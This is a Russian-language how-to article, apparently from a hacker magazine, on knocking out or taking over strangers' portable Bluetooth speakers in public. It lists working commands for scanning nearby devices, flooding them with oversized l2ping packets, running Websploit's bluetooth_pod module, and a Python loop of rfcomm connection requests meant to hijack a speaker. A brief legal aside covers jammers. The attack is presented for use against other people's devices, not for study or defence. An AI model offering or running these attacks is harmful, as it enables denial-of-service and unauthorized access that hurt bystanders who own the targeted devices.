На свете существует не так много вещей, которые бесят практически всех без исключения. Это весенне-осенняя слякоть, летнее отключение горячей воды и школьники с переносными Bluetooth-колонками. И если с первыми двумя стихийными бедствиями сделать практически ничего нельзя, то с третьим вполне можно бороться, причем почти без криминала. Как? Об этом и поговорим.

Если современные Wi-Fi-роутеры способны фильтровать нежелательные пакеты, то большинство адаптеров Bluetooth, мягко говоря, туповаты. Им по большому счету безразлично, какой пакет и какого объема, а уж тем более сколько этих пакетов ты пришлешь. Поэтому нам не составляет абсолютно никакого труда увеличить в Linux информационный объем пакета ping до огромного значения, а потом отослать этих пакетов на девайс с Bluetooth, скажем, 1000 штук.

Теперь по порядку. Для начала нам нужно найти подходящие устройства в зоне досягаемости. Для этого используем команду

$ hcitool scan

В результате этой нехитрой манипуляции ты получишь список доступных устройств с Bluetooth с их MAC-адреса. Если твоя система не видит адаптер Bluetooth, то я рекомендую поставить один из менеджеров Bluetooth для Linux. В Kali лично мне подошел gnome-bluetooth, который можно установить следующей командой:

$ apt-get install gnome-bluetooth

Еще можно воспользоваться утилитой blueman:

$ apt-get install blueman

Получив список потенциальных жертв, можно расправиться с их синезубыми девайсами несколькими способами. Рассмотрим каждый по отдельности.

Первый способ: l2ping
Воспользуемся такой командой:

$ l2ping -i hci0 -s <packet value> -f <MAC_address>

Она сгенерирует пакеты указанного тобой в параметре <packet value> объема и будет отсылать эти пакеты на MAC-адрес, записанный в качестве параметра <MAC_address>. В конце концов ты увидишь такую картину: в терминале время отклика будет постепенно увеличиваться, а на атакуемом устройстве, скорее всего, просто отключится Bluetooth. Через какое-то время он все равно включится, но музыка прервется, и некоторое удовлетворение будет получено.

Такая схема очень хорошо работает, когда атакуемое устройство (к примеру, телефон) подключено к гарнитуре или колонке по Bluetooth. После атаки эти два устройства не смогут соединиться друг с другом.

Второй способ: Websploit
Существует более элегантный и удобный способ заглушить колонку, из которой доносятся жизнерадостные звуки рэпа. Запускаем утилиту Websploit:

$ websploit

Набираем в консоли команду

$ show modules

Она продемонстрирует нам все модули, которые работают с этой утилитой. Там есть множество компонентов, работающих с Wi-Fi, но нас интересует конкретно модуль bluetooth/bluetooth_pod:

$ use bluetooth/bluetooth_pod

Теперь нужно настроить все параметры и указать сведения об атакуемом устройстве:

$ show options
$ set bdaddr <MAC_address>

Чтобы точно и наверняка угробить Bluetooth, мы изменим размер отсылаемого пакета:

$ set size 999

Все подготовительные действия завершены, можем запускать нашу «машину для убийств»:

$ run

На выходе мы увидим абсолютно похожую картину: пинги становятся дольше, а музыка прерывается. Красота!

Эти два способа будут работать практически с любыми блютусными колонками, гарнитурами и прочими похожими устройствами. Просто потому, что производители не выпускают для них новые прошивки, способные фильтровать входящие пакеты. Так что, если у тебя есть ноутбук с «Линуксом» на борту, ты точно можешь назвать себя грозой портативных колонок.

Если колонка справляется с атакой, можно попробовать отправить пакеты на сам телефон, к которому она подключена. Лично я тестировал этот метод на довольно мощной портативной колонке (JBL Xtreme), и она более-менее справлялась с нагрузкой. Но дешевые китайские поделки такая атака вырубает на раз.

Про готовые джаммеры
В интернете продаются любопытные товары, среди которых можно найти и глушилки частот. Стоят они обычно приличных денег и предоставляют разные возможности. Одни могут валить практически все сигналы мобильной сети, Wi-Fi и Bluetooth разом, а другие не справятся и с H+.

Если ты считаешь, что тебе действительно необходим подобный товар, то перед его приобретением настоятельно рекомендую ознакомиться с действующим законодательством. В России покупать и продавать глушилки не запрещено, однако если ты решишь воспользоваться ей, то необходима регистрация устройства в ГКРЧ. Если тебя поймают на использовании незарегистрированного девайса, то, скорее всего, оштрафуют по статье 13.4 КоАП РФ. Штраф для физических лиц на сегодняшний день составляет 500 рублей, для юридических — до 10 тысяч.

Подключаемся к чужому девайсу
Как мы уже знаем, примитивные колонки и гарнитуры почти никогда не фильтруют пакеты, которые мы им отправляем. Но что будет, если отослать такому девайсу не просто пакет с данными для проверки связи (ping), а пакет с запросом на подключение к устройству? И не один.

Не все производители подобных гарнитур позаботились о защите от переполнения буфера. Если все пакеты становятся в очередь, то что произойдет, когда складировать запросы уже будет некуда? Колонка попытается выполнить команду и при этом очистить буфер.

Поэтому мы используем стандартный протокол обмена данными по Вluetooth — rfcomm. Но так как сама утилита, контролирующая протокол, не позволит нам отправить тысячу таких запросов, мы напишем небольшой скрипт на Python, который автоматизирует процесс.

#!/usr/bin/env python
import subprocess

cmd=['rfcomm', 'connect', '<MAC_address>', '1']

for i in range(0, 1001):
subprocess.call(cmd)
print('Connecting...')

Перед запуском скрипта нам нужно узнать MAC-адрес устройства. Для этого используем уже знакомую команду hcitool scan, а полученный адрес вставляем в скрипт вместо <MAC_address>. Теперь сохраняем скрипт и запускаем его:

$ python <FileName>

Сработает скрипт или нет, зависит от модели атакуемого девайса, вернее, от скорости заполнения буфера. Если буфер успеет забиться до его очистки, то команда будет выполнена, и тогда мы подключимся к колонке одновременно с основным пользователем. Если же буфер очистится, то ничего не получится и придется перезапустить скрипт.

Если наш сценарий успешно выполнен, мы можем устроить свою дискотеку или вырубить устройство. Мои личные эксперименты с колонкой JBL Xtreme привели к ее отключению, а вот JBL Flip 2 когда-то удавалось и перехватывать (сейчас ее под рукой нет).